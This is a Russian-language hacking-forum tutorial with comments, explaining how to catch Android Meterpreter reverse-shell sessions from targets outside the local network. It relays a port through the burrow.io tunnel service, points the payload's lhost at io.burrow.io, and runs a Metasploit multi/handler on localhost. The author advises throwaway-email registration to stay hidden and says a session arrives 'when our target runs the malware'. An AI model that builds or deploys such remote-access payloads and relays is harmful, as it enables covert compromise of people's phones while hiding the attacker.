РАЗБОР Pentest Статья

Получение Meterpreter за локальной сетью.

Rollly
Rollly Hacker · 109 сообщений
Подписаться
18 тыс.
Доброго времени суток мои юные хацкеры, и не только. Сегодня я вам поведаю об одном из множества способов, получения сессии meterpreter за локальной сетью т.е мы сможем получить её не только в локальной сети. Приступим.
Переходим на сайт https://burrow.io/users/sign_in, и проходим регистрацию. В этом сервисе есть большой минус. Нам даётя 7 дней триала. Но не проблема создать новый аккаунт. Для своей же безопасности регистрируем наш аккаунт на левую почту.
Хотя мы ничего нарушать не будем, так ведь? :)
После регистрации, нам предоставляют возможность выбора 2-ух опций, выбираем "Forward a TCP port to your localhost".
Выделение_001.png

Видим меню выбора "Localhost port", выбираем Custom "TCP port". Теперь нам нужно создать "Security Group", и нажимаем "Click here to create one".
Выделение_002.png

Добавляем группу, путём нажатия на кнопку "+add", и подтверждаем "Create security group", в поле "ext: 22, указываем порт на свой выбор, завершаем нашу настройку нажатием "Create tunel".
Выделение_003.png

Нас перенаправляет на страницу нашего тунеля, тут мы можем видеть все команды для запуска нашего тунеля.
Выделение_007.png

Теперь нам предстоит запустить сам тунель. Копируем Curl ссылку, и запускаем её в терминале. Наш тунель запущен. Осталась последняя часть.
Выделение_008.png

Создание вредной нагрузки.
Нам дается ссылка вида: io.burrow.io:4445 У каждого может быть разный порт. Вместо нашего локального ip, в полезной нагрузке, мы будем указывать lhost=io.burrow.io, соответствено lport=7890. Создали.
Переходим к созданию листенера. Запускаем msfconsole. Выполняем команду "use multi/handler", и указываем вид нашей нагрузки, в моём случае это android/meterpreter/reverse_tcp.
Самое главное. Чтобы нам прилетела сессия, указываем set lhost=127.0.0.1, и порт, я указал 7890. Exploit.
Выделение_009.png

Когда наша цель запустит вредонос, нам прилетит сессия. Тоже самое вы можете повторить и в Termux. Спасибо за внимание.
 
AI-выжимка (тезисы)
burrow.io/users/sign_in :: Туннель через burrow.io пробрасывает TCP-порт за NAT, чтобы получить meterpreter извне локальной сети.
Нам даётя 7 дней триала :: Сервис даёт только 7 дней триала, поэтому аккаунт регистрируют на одноразовую почту.
Forward a TCP port to your localhost :: В настройках выбирают проброс TCP-порта на localhost и создают Security Group с внешним портом на свой выбор.
Копируем Curl ссылку, и запускаем её в терминале :: Туннель запускается одной curl-командой из личного кабинета burrow.io.
lhost=io.burrow.io, соответствено lport=7890 :: В полезной нагрузке вместо локального IP указывают lhost=io.burrow.io и свой внешний порт, например 7890.
use multi/handler :: В msfconsole поднимают multi/handler, например под android/meterpreter/reverse_tcp.
указываем set lhost=127.0.0.1 :: Листенер слушает 127.0.0.1 — сессия прилетает через локальный конец туннеля; схема работает и в Termux.
Домен (таксономия витрины «Разборы»)
Pentest

Вложения

  • Выделение_009.png
    Выделение_009.png
    39,9 КБ · Просмотры: 1 080

Комментарии

28
ngrock может и выдает рандомный порт, но он очень прост в использовании. Часто им пользуюсь.
 
При регистрации на burrow.io перекидывает на ролик Рика Эстли))))
Я тут просто ах**ваю с такого стеба)))
 
  • Нравится
Реакции: RoyanZ и Saint4626
2
А как через ngrok сделать, а то burrow.io сдох подкинте статью.
 
  • Нравится
Реакции: Sazoks
1
  • Нравится
Реакции: Sazoks и DarkAres
2
  • Нравится
Реакции: Sazoks
1
burrow.io выкидывает на рикролл, localhost предложенный выше выдаёт ошибку